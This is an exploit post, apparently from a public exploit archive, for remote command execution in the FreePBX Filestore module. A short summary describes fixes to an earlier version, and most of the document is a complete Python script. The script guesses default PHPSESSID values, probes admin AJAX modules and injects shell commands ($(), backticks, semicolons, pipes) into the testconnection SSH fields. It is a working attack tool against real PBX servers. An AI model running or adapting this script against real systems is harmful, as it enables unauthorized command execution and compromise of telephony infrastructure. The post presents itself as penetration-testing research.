============================================================================================================================================= | # Title : FreePBX Filestore Session-Based RCE Exploit | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) | | # Vendor : https://www.freepbx.org/ | ============================================================================================================================================= [+] Summary : This script targets a potential Remote Command Execution (RCE) vector in the FreePBX Filestore module by leveraging a valid PHP session cookie (PHPSESSID) to access administrative AJAX endpoints. The exploit attempts to abuse the testconnection function within the filestore module to inject and execute system commands. During analysis, several logical issues were identified and corrected without altering the overall structure of the original code. The fixes improve exploit reliability and accuracy when validating sessions, detecting command execution, and evaluating module versions. [+] Key logical corrections include: Session validation improvement:The original session check relied on weak indicators such as display= which may appear on unauthenticated pages. The logic was refined to detect authenticated interface elements and avoid false positives. Proper version comparison:The original code compared version strings lexicographically, which can produce incorrect results (e.g., 13.0.10 vs 13.0.2). Version parsing was corrected using integer tuple comparison. Improved command execution detection:The original method assumed command output based on response length. This was replaced with response validation and error-pattern analysis. HTTP response validation:Added checks for HTTP status codes to prevent misinterpreting failed requests as successful exploitation. Return value handling:The alternative exploitation method (exploit_with_keygen) now returns response data to allow proper evaluation. Session enumeration reliability:The fallback session testing logic was corrected to ensure cookie updates are properly validated during enumeration attempts. Overall, the corrected script maintains the original exploit workflow while providing more accurate detection, stable execution behavior, and more reliable vulnerability verification during security research or penetration testing. [+] POC : #!/usr/bin/env python3 import requests import re import sys import argparse import base64 import time from urllib.parse import urljoin requests.packages.urllib3.disable_warnings() class FreePBXSessionRCE: def __init__(self, target, cookie=None, proxy=None): self.target = target.rstrip('/') self.session = requests.Session() self.session.verify = False if proxy: self.session.proxies = {'http': proxy, 'https': proxy} if cookie: self.session.cookies.set('PHPSESSID', cookie) print(f"[+] Using provided session cookie: {cookie}") def check_session_validity(self): test_url = urljoin(self.target, '/admin/config.php') try: r = self.session.get(test_url, timeout=10) if r.status_code != 200: print("[-] Server returned unexpected status") return False if "logout" in r.text.lower() and "freepbx" in r.text.lower(): print("[+] Session cookie appears valid") return True if "login" in r.text.lower(): print("[-] Redirected to login page") return False print("[-] Session cookie invalid or expired") return False except Exception as e: print(f"[-] Error checking session: {e}") return False def enumerate_modules(self): modules_url = urljoin(self.target, '/admin/ajax.php') common_modules = ['filestore','backup','recordings','dashboard'] for module in common_modules: try: r = self.session.get(modules_url, params={'module': module}, timeout=5) if r.status_code == 200 and len(r.text) > 0: print(f"[+] Module accessible: {module}") except: pass def exploit_testconnection(self, command): exploit_url = urljoin(self.target, '/admin/ajax.php') payloads = [ f"$({command})", f"`{command}`", f"; {command} #", f"| {command}", f"&& {command}" ] params = { 'module': 'filestore', 'command': 'testconnection', 'driver': 'SSH' } for i,payload in enumerate(payloads): print(f"\n[*] Trying payload {i+1}: {payload}") data = { 'host':'127.0.0.1', 'port':'2222', 'user':'test', 'key':payload, 'path':'/tmp/test' } try: r = self.session.post(exploit_url,params=params,data=data,timeout=10) if r.status_code != 200: print(f"[-] HTTP Error {r.status_code}") continue text=r.text.strip() if text: print(f"[+] Response snippet:\n{text[:300]}") return text if "failed" in text.lower() or "refused" in text.lower(): print("[*] Expected error received, injection might have executed") except Exception as e: print(f"[-] Error during exploitation: {e}") return None def exploit_with_keygen(self, command): exploit_url = urljoin(self.target,'/admin/ajax.php') params = { 'module':'filestore', 'command':'testconnection', 'driver':'SSH' } data = { 'host':f'127.0.0.1; {command}; echo', 'port':'2222', 'user':'test', 'key':'test_key', 'path':'/tmp/test' } try: r=self.session.post(exploit_url,params=params,data=data,timeout=10) if r.status_code==200: print("[+] Keygen exploit sent") print(r.text[:200]) return r.text except Exception as e: print(f"[-] Error: {e}") return None def get_filestore_version(self): version_url=urljoin(self.target,'/admin/config.php') params={'display':'filestore'} try: r=self.session.get(version_url,params=params,timeout=10) match=re.search(r'load_version=(\d+\.\d+\.\d+\.\d+)',r.text) if match: version=match.group(1) print(f"[+] Filestore version: {version}") if self.is_version_vulnerable(version): print("[!] This version appears vulnerable!") return version print("[-] Could not determine filestore version") return None except Exception as e: print(f"[-] Error getting version: {e}") return None def is_version_vulnerable(self,version): vulnerable_ranges=[ ('13.0.0','13.0.190'), ('14.0.0','14.0.150'), ('15.0.0','15.0.100') ] def parse(v): return tuple(map(int,v.split("."))) v=parse(version) for start,end in vulnerable_ranges: if parse(start)<=v<=parse(end): return True return False def main(): parser=argparse.ArgumentParser(description='FreePBX Filestore RCE - Session-Only Exploit') parser.add_argument('-t','--target',required=True) parser.add_argument('-c','--cookie') parser.add_argument('--cmd',default='id') parser.add_argument('--proxy') parser.add_argument('--check-only',action='store_true') args=parser.parse_args() exploit=FreePBXSessionRCE(args.target,args.cookie,args.proxy) if not exploit.check_session_validity(): if not args.cookie: print("[!] No cookie provided") default_sessions=['admin','1234','abcd1234','freepbx'] for session in default_sessions: print(f"[*] Trying session: {session}") exploit.session.cookies.set('PHPSESSID',session) if exploit.check_session_validity(): args.cookie=session break else: sys.exit(1) if args.check_only: return exploit.get_filestore_version() exploit.enumerate_modules() print(f"\n[*] Executing command: {args.cmd}") result=exploit.exploit_testconnection(args.cmd) if not result: print("\n[*] Trying alternative method...") exploit.exploit_with_keygen(args.cmd) if __name__=="__main__": main() Greetings to :============================================================================== jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)| ============================================================================================